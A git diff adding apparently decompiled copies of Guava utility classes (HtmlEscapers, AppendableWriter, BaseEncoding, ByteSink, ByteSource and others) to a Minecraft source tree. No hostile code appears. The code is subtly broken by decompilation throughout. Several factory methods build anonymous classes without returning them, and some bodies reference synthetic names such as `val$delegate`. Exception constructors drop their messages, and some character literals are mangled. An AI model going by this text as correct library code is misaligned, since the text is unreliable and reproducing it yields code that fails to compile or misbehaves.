+        v1 = Long.rotateLeft(v1, 17);
+        v3 = Long.rotateLeft(v3, 21);
+        v1 ^= v2;
+        v3 ^= v0;
+        v2 = Long.rotateLeft(v2, 32);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/package-info.java b/src/minecraft/com/google/common/hash/package-info.java
new file mode 100644
index 0000000..8073fad
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.hash;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/html/HtmlEscapers.java b/src/minecraft/com/google/common/html/HtmlEscapers.java
new file mode 100644
index 0000000..1c44cc8
--- /dev/null
+++ b/src/minecraft/com/google/common/html/HtmlEscapers.java
@@ -0,0 +1,68 @@
+package com.google.common.html;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.escape.Escaper;
+import com.google.common.escape.Escapers;
+import com.google.common.escape.Escapers.Builder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class HtmlEscapers
+{
+  public static Escaper htmlEscaper()
+  {
+    return HTML_ESCAPER;
+  }
+  
+
+
+
+  private static final Escaper HTML_ESCAPER = Escapers.builder().addEscape('"', "&quot;").addEscape('\'', "&#39;").addEscape('&', "&amp;").addEscape('<', "&lt;").addEscape('>', "&gt;").build();
+  
+  private HtmlEscapers() {}
+}
diff --git a/src/minecraft/com/google/common/html/package-info.java b/src/minecraft/com/google/common/html/package-info.java
new file mode 100644
index 0000000..47a47eb
--- /dev/null
+++ b/src/minecraft/com/google/common/html/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.html;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/io/AppendableWriter.java b/src/minecraft/com/google/common/io/AppendableWriter.java
new file mode 100644
index 0000000..102d3da
--- /dev/null
+++ b/src/minecraft/com/google/common/io/AppendableWriter.java
@@ -0,0 +1,121 @@
+package com.google.common.io;
+
+import com.google.common.base.Preconditions;
+import java.io.Closeable;
+import java.io.Flushable;
+import java.io.IOException;
+import java.io.Writer;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class AppendableWriter
+  extends Writer
+{
+  private final Appendable target;
+  private boolean closed;
+  
+  AppendableWriter(Appendable target)
+  {
+    this.target = ((Appendable)Preconditions.checkNotNull(target));
+  }
+  
+
+
+
+  public void write(char[] cbuf, int off, int len)
+    throws IOException
+  {
+    checkNotClosed();
+    
+
+    target.append(new String(cbuf, off, len));
+  }
+  
+  public void flush() throws IOException {
+    checkNotClosed();
+    if ((target instanceof Flushable)) {
+      ((Flushable)target).flush();
+    }
+  }
+  
+  public void close() throws IOException {
+    closed = true;
+    if ((target instanceof Closeable)) {
+      ((Closeable)target).close();
+    }
+  }
+  
+
+
+
+  public void write(int c)
+    throws IOException
+  {
+    checkNotClosed();
+    target.append((char)c);
+  }
+  
+  public void write(@Nullable String str) throws IOException {
+    checkNotClosed();
+    target.append(str);
+  }
+  
+  public void write(@Nullable String str, int off, int len) throws IOException {
+    checkNotClosed();
+    
+    target.append(str, off, off + len);
+  }
+  
+  public Writer append(char c) throws IOException {
+    checkNotClosed();
+    target.append(c);
+    return this;
+  }
+  
+  public Writer append(@Nullable CharSequence charSeq) throws IOException {
+    checkNotClosed();
+    target.append(charSeq);
+    return this;
+  }
+  
+  public Writer append(@Nullable CharSequence charSeq, int start, int end) throws IOException
+  {
+    checkNotClosed();
+    target.append(charSeq, start, end);
+    return this;
+  }
+  
+  private void checkNotClosed() throws IOException {
+    if (closed) {
+      throw new IOException("Cannot write to a closed writer.");
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/BaseEncoding.java b/src/minecraft/com/google/common/io/BaseEncoding.java
new file mode 100644
index 0000000..3759772
--- /dev/null
+++ b/src/minecraft/com/google/common/io/BaseEncoding.java
@@ -0,0 +1,880 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Ascii;
+import com.google.common.base.CharMatcher;
+import com.google.common.base.Preconditions;
+import com.google.common.math.IntMath;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.Reader;
+import java.io.Writer;
+import java.math.RoundingMode;
+import java.util.Arrays;
+import javax.annotation.CheckReturnValue;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public abstract class BaseEncoding
+{
+  BaseEncoding() {}
+  
+  public static final class DecodingException
+    extends IOException
+  {
+    DecodingException(String message)
+    {
+      super();
+    }
+    
+    DecodingException(Throwable cause) {
+      super();
+    }
+  }
+  
+
+
+  public String encode(byte[] bytes)
+  {
+    return encode((byte[])Preconditions.checkNotNull(bytes), 0, bytes.length);
+  }
+  
+
+
+
+  public final String encode(byte[] bytes, int off, int len)
+  {
+    Preconditions.checkNotNull(bytes);
+    Preconditions.checkPositionIndexes(off, off + len, bytes.length);
+    GwtWorkarounds.CharOutput result = GwtWorkarounds.stringBuilderOutput(maxEncodedSize(len));
+    GwtWorkarounds.ByteOutput byteOutput = encodingStream(result);
+    try {
+      for (int i = 0; i < len; i++) {
+        byteOutput.write(bytes[(off + i)]);
+      }
+      byteOutput.close();
+    } catch (IOException impossible) {
+      throw new AssertionError("impossible");
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+  @GwtIncompatible("Writer,OutputStream")
+  public final OutputStream encodingStream(Writer writer)
+  {
+    return GwtWorkarounds.asOutputStream(encodingStream(GwtWorkarounds.asCharOutput(writer)));
+  }
+  
+
+
+  @GwtIncompatible("ByteSink,CharSink")
+  public final ByteSink encodingSink(final CharSink encodedSink)
+  {
+    Preconditions.checkNotNull(encodedSink);
+    new ByteSink()
+    {
+      public OutputStream openStream() throws IOException {
+        return encodingStream(encodedSink.openStream());
+      }
+    };
+  }
+  
+
+  private static byte[] extract(byte[] result, int length)
+  {
+    if (length == result.length) {
+      return result;
+    }
+    byte[] trunc = new byte[length];
+    System.arraycopy(result, 0, trunc, 0, length);
+    return trunc;
+  }
+  
+
+
+
+
+
+
+  public final byte[] decode(CharSequence chars)
+  {
+    try
+    {
+      return decodeChecked(chars);
+    } catch (DecodingException badInput) {
+      throw new IllegalArgumentException(badInput);
+    }
+  }
+  
+
+
+
+
+
+  final byte[] decodeChecked(CharSequence chars)
+    throws BaseEncoding.DecodingException
+  {
+    chars = padding().trimTrailingFrom(chars);
+    GwtWorkarounds.ByteInput decodedInput = decodingStream(GwtWorkarounds.asCharInput(chars));
+    byte[] tmp = new byte[maxDecodedSize(chars.length())];
+    int index = 0;
+    try {
+      for (int i = decodedInput.read(); i != -1; i = decodedInput.read()) {
+        tmp[(index++)] = ((byte)i);
+      }
+    } catch (DecodingException badInput) {
+      throw badInput;
+    } catch (IOException impossible) {
+      throw new AssertionError(impossible);
+    }
+    return extract(tmp, index);
+  }
+  
+
+
+
+
+  @GwtIncompatible("Reader,InputStream")
+  public final InputStream decodingStream(Reader reader)
+  {
+    return GwtWorkarounds.asInputStream(decodingStream(GwtWorkarounds.asCharInput(reader)));
+  }
+  
+
+
+
+  @GwtIncompatible("ByteSource,CharSource")
+  public final ByteSource decodingSource(final CharSource encodedSource)
+  {
+    Preconditions.checkNotNull(encodedSource);
+    new ByteSource()
+    {
+      public InputStream openStream() throws IOException {
+        return decodingStream(encodedSource.openStream());
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+  abstract int maxEncodedSize(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+  abstract GwtWorkarounds.ByteOutput encodingStream(GwtWorkarounds.CharOutput paramCharOutput);
+  
+
+
+
+
+
+
+
+
+
+  abstract int maxDecodedSize(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+  abstract GwtWorkarounds.ByteInput decodingStream(GwtWorkarounds.CharInput paramCharInput);
+  
+
+
+
+
+
+
+
+
+
+  abstract CharMatcher padding();
+  
+
+
+
+
+
+
+
+
+
+  private static final BaseEncoding BASE64 = new StandardBaseEncoding("base64()", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", Character.valueOf('='));
+  
+  @CheckReturnValue
+  public abstract BaseEncoding omitPadding();
+  
+  @CheckReturnValue
+  public abstract BaseEncoding withPadChar(char paramChar);
+  
+  @CheckReturnValue
+  public abstract BaseEncoding withSeparator(String paramString, int paramInt);
+  
+  @CheckReturnValue
+  public abstract BaseEncoding upperCase();
+  
+  @CheckReturnValue
+  public abstract BaseEncoding lowerCase();
+  
+  public static BaseEncoding base64() { return BASE64; }
+  
+
+  private static final BaseEncoding BASE64_URL = new StandardBaseEncoding("base64Url()", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", Character.valueOf('='));
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BaseEncoding base64Url()
+  {
+    return BASE64_URL;
+  }
+  
+  private static final BaseEncoding BASE32 = new StandardBaseEncoding("base32()", "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", Character.valueOf('='));
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BaseEncoding base32()
+  {
+    return BASE32;
+  }
+  
+  private static final BaseEncoding BASE32_HEX = new StandardBaseEncoding("base32Hex()", "0123456789ABCDEFGHIJKLMNOPQRSTUV", Character.valueOf('='));
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BaseEncoding base32Hex()
+  {
+    return BASE32_HEX;
+  }
+  
+  private static final BaseEncoding BASE16 = new StandardBaseEncoding("base16()", "0123456789ABCDEF", null);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BaseEncoding base16()
+  {
+    return BASE16;
+  }
+  
+  private static final class Alphabet extends CharMatcher
+  {
+    private final String name;
+    private final char[] chars;
+    final int mask;
+    final int bitsPerChar;
+    final int charsPerChunk;
+    final int bytesPerChunk;
+    private final byte[] decodabet;
+    private final boolean[] validPadding;
+    
+    Alphabet(String name, char[] chars) {
+      this.name = ((String)Preconditions.checkNotNull(name));
+      this.chars = ((char[])Preconditions.checkNotNull(chars));
+      try {
+        bitsPerChar = IntMath.log2(chars.length, RoundingMode.UNNECESSARY);
+      } catch (ArithmeticException e) {
+        throw new IllegalArgumentException("Illegal alphabet length " + chars.length, e);
+      }
+      
+
+
+
+
+      int gcd = Math.min(8, Integer.lowestOneBit(bitsPerChar));
+      charsPerChunk = (8 / gcd);
+      bytesPerChunk = (bitsPerChar / gcd);
+      
+      mask = (chars.length - 1);
+      
+      byte[] decodabet = new byte['€'];
+      Arrays.fill(decodabet, (byte)-1);
+      for (int i = 0; i < chars.length; i++) {
+        char c = chars[i];
+        Preconditions.checkArgument(CharMatcher.ASCII.matches(c), "Non-ASCII character: %s", new Object[] { Character.valueOf(c) });
+        Preconditions.checkArgument(decodabet[c] == -1, "Duplicate character: %s", new Object[] { Character.valueOf(c) });
+        decodabet[c] = ((byte)i);
+      }
+      this.decodabet = decodabet;
+      
+      boolean[] validPadding = new boolean[charsPerChunk];
+      for (int i = 0; i < bytesPerChunk; i++) {
+        validPadding[IntMath.divide(i * 8, bitsPerChar, RoundingMode.CEILING)] = true;
+      }
+      this.validPadding = validPadding;
+    }
+    
+    char encode(int bits) {
+      return chars[bits];
+    }
+    
+    boolean isValidPaddingStartPosition(int index) {
+      return validPadding[(index % charsPerChunk)];
+    }
+    
+    int decode(char ch) throws IOException {
+      if ((ch > '') || (decodabet[ch] == -1)) {
+        throw new BaseEncoding.DecodingException("Unrecognized character: " + ch);
+      }
+      return decodabet[ch];
+    }
+    
+    private boolean hasLowerCase() {
+      for (char c : chars) {
+        if (Ascii.isLowerCase(c)) {
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    private boolean hasUpperCase() {
+      for (char c : chars) {
+        if (Ascii.isUpperCase(c)) {
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    Alphabet upperCase() {
+      if (!hasLowerCase()) {
+        return this;
+      }
+      Preconditions.checkState(!hasUpperCase(), "Cannot call upperCase() on a mixed-case alphabet");
+      char[] upperCased = new char[chars.length];
+      for (int i = 0; i < chars.length; i++) {
+        upperCased[i] = Ascii.toUpperCase(chars[i]);
+      }
+      return new Alphabet(name + ".upperCase()", upperCased);
+    }
+    
+    Alphabet lowerCase()
+    {
+      if (!hasUpperCase()) {
+        return this;
+      }
+      Preconditions.checkState(!hasLowerCase(), "Cannot call lowerCase() on a mixed-case alphabet");
+      char[] lowerCased = new char[chars.length];
+      for (int i = 0; i < chars.length; i++) {
+        lowerCased[i] = Ascii.toLowerCase(chars[i]);
+      }
+      return new Alphabet(name + ".lowerCase()", lowerCased);
+    }
+    
+
+    public boolean matches(char c)
+    {
+      return (CharMatcher.ASCII.matches(c)) && (decodabet[c] != -1);
+    }
+    
+    public String toString()
+    {
+      return name;
+    }
+  }
+  
+  static final class StandardBaseEncoding extends BaseEncoding {
+    private final BaseEncoding.Alphabet alphabet;
+    @Nullable
+    private final Character paddingChar;
+    private transient BaseEncoding upperCase;
+    private transient BaseEncoding lowerCase;
+    
+    StandardBaseEncoding(String name, String alphabetChars, @Nullable Character paddingChar) {
+      this(new BaseEncoding.Alphabet(name, alphabetChars.toCharArray()), paddingChar);
+    }
+    
+    StandardBaseEncoding(BaseEncoding.Alphabet alphabet, @Nullable Character paddingChar) {
+      this.alphabet = ((BaseEncoding.Alphabet)Preconditions.checkNotNull(alphabet));
+      Preconditions.checkArgument((paddingChar == null) || (!alphabet.matches(paddingChar.charValue())), "Padding character %s was already in alphabet", new Object[] { paddingChar });
+      
+      this.paddingChar = paddingChar;
+    }
+    
+    CharMatcher padding()
+    {
+      return paddingChar == null ? CharMatcher.NONE : CharMatcher.is(paddingChar.charValue());
+    }
+    
+    int maxEncodedSize(int bytes)
+    {
+      return alphabet.charsPerChunk * IntMath.divide(bytes, alphabet.bytesPerChunk, RoundingMode.CEILING);
+    }
+    
+    GwtWorkarounds.ByteOutput encodingStream(final GwtWorkarounds.CharOutput out)
+    {
+      Preconditions.checkNotNull(out);
+      new GwtWorkarounds.ByteOutput() {
+        int bitBuffer = 0;
+        int bitBufferLength = 0;
+        int writtenChars = 0;
+        
+        public void write(byte b) throws IOException
+        {
+          bitBuffer <<= 8;
+          bitBuffer |= b & 0xFF;
+          bitBufferLength += 8;
+          while (bitBufferLength >= alphabet.bitsPerChar) {
+            int charIndex = bitBuffer >> bitBufferLength - alphabet.bitsPerChar & alphabet.mask;
+            
+            out.write(alphabet.encode(charIndex));
+            writtenChars += 1;
+            bitBufferLength -= alphabet.bitsPerChar;
+          }
+        }
+        
+        public void flush() throws IOException
+        {
+          out.flush();
+        }
+        
+        public void close() throws IOException
+        {
+          if (bitBufferLength > 0) {
+            int charIndex = bitBuffer << alphabet.bitsPerChar - bitBufferLength & alphabet.mask;
+            
+            out.write(alphabet.encode(charIndex));
+            writtenChars += 1;
+            if (paddingChar != null) {
+              while (writtenChars % alphabet.charsPerChunk != 0) {
+                out.write(paddingChar.charValue());
+                writtenChars += 1;
+              }
+            }
+          }
+          out.close();
+        }
+      };
+    }
+    
+    int maxDecodedSize(int chars)
+    {
+      return (int)((alphabet.bitsPerChar * chars + 7L) / 8L);
+    }
+    
+    GwtWorkarounds.ByteInput decodingStream(final GwtWorkarounds.CharInput reader)
+    {
+      Preconditions.checkNotNull(reader);
+      new GwtWorkarounds.ByteInput() {
+        int bitBuffer = 0;
+        int bitBufferLength = 0;
+        int readChars = 0;
+        boolean hitPadding = false;
+        final CharMatcher paddingMatcher = padding();
+        
+        public int read() throws IOException
+        {
+          for (;;) {
+            int readChar = reader.read();
+            if (readChar == -1) {
+              if ((!hitPadding) && (!alphabet.isValidPaddingStartPosition(readChars))) {
+                throw new BaseEncoding.DecodingException("Invalid input length " + readChars);
+              }
+              return -1;
+            }
+            readChars += 1;
+            char ch = (char)readChar;
+            if (paddingMatcher.matches(ch)) {
+              if ((!hitPadding) && ((readChars == 1) || (!alphabet.isValidPaddingStartPosition(readChars - 1))))
+              {
+                throw new BaseEncoding.DecodingException("Padding cannot start at index " + readChars);
+              }
+              hitPadding = true;
+            } else { if (hitPadding) {
+                throw new BaseEncoding.DecodingException("Expected padding character but found '" + ch + "' at index " + readChars);
+              }
+              
+              bitBuffer <<= alphabet.bitsPerChar;
+              bitBuffer |= alphabet.decode(ch);
+              bitBufferLength += alphabet.bitsPerChar;
+              
+              if (bitBufferLength >= 8) {
+                bitBufferLength -= 8;
+                return bitBuffer >> bitBufferLength & 0xFF;
+              }
+            }
+          }
+        }
+        
+        public void close() throws IOException
+        {
+          reader.close();
+        }
+      };
+    }
+    
+    public BaseEncoding omitPadding()
+    {
+      return paddingChar == null ? this : new StandardBaseEncoding(alphabet, null);
+    }
+    
+    public BaseEncoding withPadChar(char padChar)
+    {
+      if ((8 % alphabet.bitsPerChar == 0) || ((paddingChar != null) && (paddingChar.charValue() == padChar)))
+      {
+        return this;
+      }
+      return new StandardBaseEncoding(alphabet, Character.valueOf(padChar));
+    }
+    
+
+    public BaseEncoding withSeparator(String separator, int afterEveryChars)
+    {
+      Preconditions.checkNotNull(separator);
+      Preconditions.checkArgument(padding().or(alphabet).matchesNoneOf(separator), "Separator cannot contain alphabet or padding characters");
+      
+      return new BaseEncoding.SeparatedBaseEncoding(this, separator, afterEveryChars);
+    }
+    
+
+
+
+    public BaseEncoding upperCase()
+    {
+      BaseEncoding result = upperCase;
+      if (result == null) {
+        BaseEncoding.Alphabet upper = alphabet.upperCase();
+        result = this.upperCase = upper == alphabet ? this : new StandardBaseEncoding(upper, paddingChar);
+      }
+      
+      return result;
+    }
+    
+    public BaseEncoding lowerCase()
+    {
+      BaseEncoding result = lowerCase;
+      if (result == null) {
+        BaseEncoding.Alphabet lower = alphabet.lowerCase();
+        result = this.lowerCase = lower == alphabet ? this : new StandardBaseEncoding(lower, paddingChar);
+      }
+      
+      return result;
+    }
+    
+    public String toString()
+    {
+      StringBuilder builder = new StringBuilder("BaseEncoding.");
+      builder.append(alphabet.toString());
+      if (8 % alphabet.bitsPerChar != 0) {
+        if (paddingChar == null) {
+          builder.append(".omitPadding()");
+        } else {
+          builder.append(".withPadChar(").append(paddingChar).append(')');
+        }
+      }
+      return builder.toString();
+    }
+  }
+  
+  static GwtWorkarounds.CharInput ignoringInput(GwtWorkarounds.CharInput delegate, final CharMatcher toIgnore) {
+    Preconditions.checkNotNull(delegate);
+    Preconditions.checkNotNull(toIgnore);
+    new GwtWorkarounds.CharInput()
+    {
+      public int read() throws IOException {
+        int readChar;
+        do {
+          readChar = val$delegate.read();
+        } while ((readChar != -1) && (toIgnore.matches((char)readChar)));
+        return readChar;
+      }
+      
+      public void close() throws IOException
+      {
+        val$delegate.close();
+      }
+    };
+  }
+  
+  static GwtWorkarounds.CharOutput separatingOutput(final GwtWorkarounds.CharOutput delegate, final String separator, int afterEveryChars)
+  {
+    Preconditions.checkNotNull(delegate);
+    Preconditions.checkNotNull(separator);
+    Preconditions.checkArgument(afterEveryChars > 0);
+    new GwtWorkarounds.CharOutput() {
+      int charsUntilSeparator = val$afterEveryChars;
+      
+      public void write(char c) throws IOException
+      {
+        if (charsUntilSeparator == 0) {
+          for (int i = 0; i < separator.length(); i++) {
+            delegate.write(separator.charAt(i));
+          }
+          charsUntilSeparator = val$afterEveryChars;
+        }
+        delegate.write(c);
+        charsUntilSeparator -= 1;
+      }
+      
+      public void flush() throws IOException
+      {
+        delegate.flush();
+      }
+      
+      public void close() throws IOException
+      {
+        delegate.close();
+      }
+    };
+  }
+  
+  static final class SeparatedBaseEncoding extends BaseEncoding {
+    private final BaseEncoding delegate;
+    private final String separator;
+    private final int afterEveryChars;
+    private final CharMatcher separatorChars;
+    
+    SeparatedBaseEncoding(BaseEncoding delegate, String separator, int afterEveryChars) {
+      this.delegate = ((BaseEncoding)Preconditions.checkNotNull(delegate));
+      this.separator = ((String)Preconditions.checkNotNull(separator));
+      this.afterEveryChars = afterEveryChars;
+      Preconditions.checkArgument(afterEveryChars > 0, "Cannot add a separator after every %s chars", new Object[] { Integer.valueOf(afterEveryChars) });
+      
+      separatorChars = CharMatcher.anyOf(separator).precomputed();
+    }
+    
+    CharMatcher padding()
+    {
+      return delegate.padding();
+    }
+    
+    int maxEncodedSize(int bytes)
+    {
+      int unseparatedSize = delegate.maxEncodedSize(bytes);
+      return unseparatedSize + separator.length() * IntMath.divide(Math.max(0, unseparatedSize - 1), afterEveryChars, RoundingMode.FLOOR);
+    }
+    
+
+    GwtWorkarounds.ByteOutput encodingStream(GwtWorkarounds.CharOutput output)
+    {
+      return delegate.encodingStream(separatingOutput(output, separator, afterEveryChars));
+    }
+    
+    int maxDecodedSize(int chars)
+    {
+      return delegate.maxDecodedSize(chars);
+    }
+    
+    GwtWorkarounds.ByteInput decodingStream(GwtWorkarounds.CharInput input)
+    {
+      return delegate.decodingStream(ignoringInput(input, separatorChars));
+    }
+    
+    public BaseEncoding omitPadding()
+    {
+      return delegate.omitPadding().withSeparator(separator, afterEveryChars);
+    }
+    
+    public BaseEncoding withPadChar(char padChar)
+    {
+      return delegate.withPadChar(padChar).withSeparator(separator, afterEveryChars);
+    }
+    
+    public BaseEncoding withSeparator(String separator, int afterEveryChars)
+    {
+      throw new UnsupportedOperationException("Already have a separator");
+    }
+    
+    public BaseEncoding upperCase()
+    {
+      return delegate.upperCase().withSeparator(separator, afterEveryChars);
+    }
+    
+    public BaseEncoding lowerCase()
+    {
+      return delegate.lowerCase().withSeparator(separator, afterEveryChars);
+    }
+    
+    public String toString()
+    {
+      return delegate.toString() + ".withSeparator(\"" + separator + "\", " + afterEveryChars + ")";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/ByteArrayDataInput.java b/src/minecraft/com/google/common/io/ByteArrayDataInput.java
new file mode 100644
index 0000000..0a39655
--- /dev/null
+++ b/src/minecraft/com/google/common/io/ByteArrayDataInput.java
@@ -0,0 +1,37 @@
+package com.google.common.io;
+
+import java.io.DataInput;
+
+public abstract interface ByteArrayDataInput
+  extends DataInput
+{
+  public abstract void readFully(byte[] paramArrayOfByte);
+  
+  public abstract void readFully(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract int skipBytes(int paramInt);
+  
+  public abstract boolean readBoolean();
+  
+  public abstract byte readByte();
+  
+  public abstract int readUnsignedByte();
+  
+  public abstract short readShort();
+  
+  public abstract int readUnsignedShort();
+  
+  public abstract char readChar();
+  
+  public abstract int readInt();
+  
+  public abstract long readLong();
+  
+  public abstract float readFloat();
+  
+  public abstract double readDouble();
+  
+  public abstract String readLine();
+  
+  public abstract String readUTF();
+}
diff --git a/src/minecraft/com/google/common/io/ByteArrayDataOutput.java b/src/minecraft/com/google/common/io/ByteArrayDataOutput.java
new file mode 100644
index 0000000..ca55076
--- /dev/null
+++ b/src/minecraft/com/google/common/io/ByteArrayDataOutput.java
@@ -0,0 +1,38 @@
+package com.google.common.io;
+
+import java.io.DataOutput;
+
+public abstract interface ByteArrayDataOutput
+  extends DataOutput
+{
+  public abstract void write(int paramInt);
+  
+  public abstract void write(byte[] paramArrayOfByte);
+  
+  public abstract void write(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract void writeBoolean(boolean paramBoolean);
+  
+  public abstract void writeByte(int paramInt);
+  
+  public abstract void writeShort(int paramInt);
+  
+  public abstract void writeChar(int paramInt);
+  
+  public abstract void writeInt(int paramInt);
+  
+  public abstract void writeLong(long paramLong);
+  
+  public abstract void writeFloat(float paramFloat);
+  
+  public abstract void writeDouble(double paramDouble);
+  
+  public abstract void writeChars(String paramString);
+  
+  public abstract void writeUTF(String paramString);
+  
+  @Deprecated
+  public abstract void writeBytes(String paramString);
+  
+  public abstract byte[] toByteArray();
+}
diff --git a/src/minecraft/com/google/common/io/ByteProcessor.java b/src/minecraft/com/google/common/io/ByteProcessor.java
new file mode 100644
index 0000000..d9a4356
--- /dev/null
+++ b/src/minecraft/com/google/common/io/ByteProcessor.java
@@ -0,0 +1,13 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import java.io.IOException;
+
+@Beta
+public abstract interface ByteProcessor<T>
+{
+  public abstract boolean processBytes(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
+    throws IOException;
+  
+  public abstract T getResult();
+}
diff --git a/src/minecraft/com/google/common/io/ByteSink.java b/src/minecraft/com/google/common/io/ByteSink.java
new file mode 100644
index 0000000..654f31f
--- /dev/null
+++ b/src/minecraft/com/google/common/io/ByteSink.java
@@ -0,0 +1,171 @@
+package com.google.common.io;
+
+import com.google.common.base.Preconditions;
+import java.io.BufferedOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.io.Writer;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ByteSink
+  implements OutputSupplier<OutputStream>
+{
+  protected ByteSink() {}
+  
+  public CharSink asCharSink(Charset charset)
+  {
+    return new AsCharSink(charset, null);
+  }
+  
+
+
+
+
+
+
+
+
+  public abstract OutputStream openStream()
+    throws IOException;
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public final OutputStream getOutput()
+    throws IOException
+  {
+    return openStream();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public OutputStream openBufferedStream()
+    throws IOException
+  {
+    OutputStream out = openStream();
+    return (out instanceof BufferedOutputStream) ? (BufferedOutputStream)out : new BufferedOutputStream(out);
+  }
+  
+
+
+
+
+
+  public void write(byte[] bytes)
+    throws IOException
+  {
+    Preconditions.checkNotNull(bytes);
+    
+    Closer closer = Closer.create();
+    try {
+      OutputStream out = (OutputStream)closer.register(openStream());
+      out.write(bytes);
+      out.flush();
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+  public long writeFrom(InputStream input)
+    throws IOException
+  {
+    Preconditions.checkNotNull(input);
+    
+    Closer closer = Closer.create();
+    try {
+      OutputStream out = (OutputStream)closer.register(openStream());
+      long written = ByteStreams.copy(input, out);
+      out.flush();
+      return written;
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+  private final class AsCharSink
+    extends CharSink
+  {
+    private final Charset charset;
+    
+
+    private AsCharSink(Charset charset)
+    {
+      this.charset = ((Charset)Preconditions.checkNotNull(charset));
+    }
+    
+    public Writer openStream() throws IOException
+    {
+      return new OutputStreamWriter(openStream(), charset);
+    }
+    
+    public String toString()
+    {
+      return ByteSink.this.toString() + ".asCharSink(" + charset + ")";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/ByteSource.java b/src/minecraft/com/google/common/io/ByteSource.java
new file mode 100644
index 0000000..09383ff
--- /dev/null
+++ b/src/minecraft/com/google/common/io/ByteSource.java
@@ -0,0 +1,699 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Ascii;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+import com.google.common.hash.Funnels;
+import com.google.common.hash.HashCode;
+import com.google.common.hash.HashFunction;
+import com.google.common.hash.Hasher;
+import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.Reader;
+import java.nio.charset.Charset;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ByteSource
+  implements InputSupplier<InputStream>
+{
+  private static final int BUF_SIZE = 4096;
+  
+  protected ByteSource() {}
+  
+  public CharSource asCharSource(Charset charset)
+  {
+    return new AsCharSource(charset, null);
+  }
+  
+
+
+
+
+
+
+
+
+  public abstract InputStream openStream()
+    throws IOException;
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public final InputStream getInput()
+    throws IOException
+  {
+    return openStream();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public InputStream openBufferedStream()
+    throws IOException
+  {
+    InputStream in = openStream();
+    return (in instanceof BufferedInputStream) ? (BufferedInputStream)in : new BufferedInputStream(in);
+  }
+  
+
+
+
+
+
+
+
+  public ByteSource slice(long offset, long length)
+  {
+    return new SlicedByteSource(offset, length, null);
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      InputStream in = (InputStream)closer.register(openStream());
+      return in.read() == -1;
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
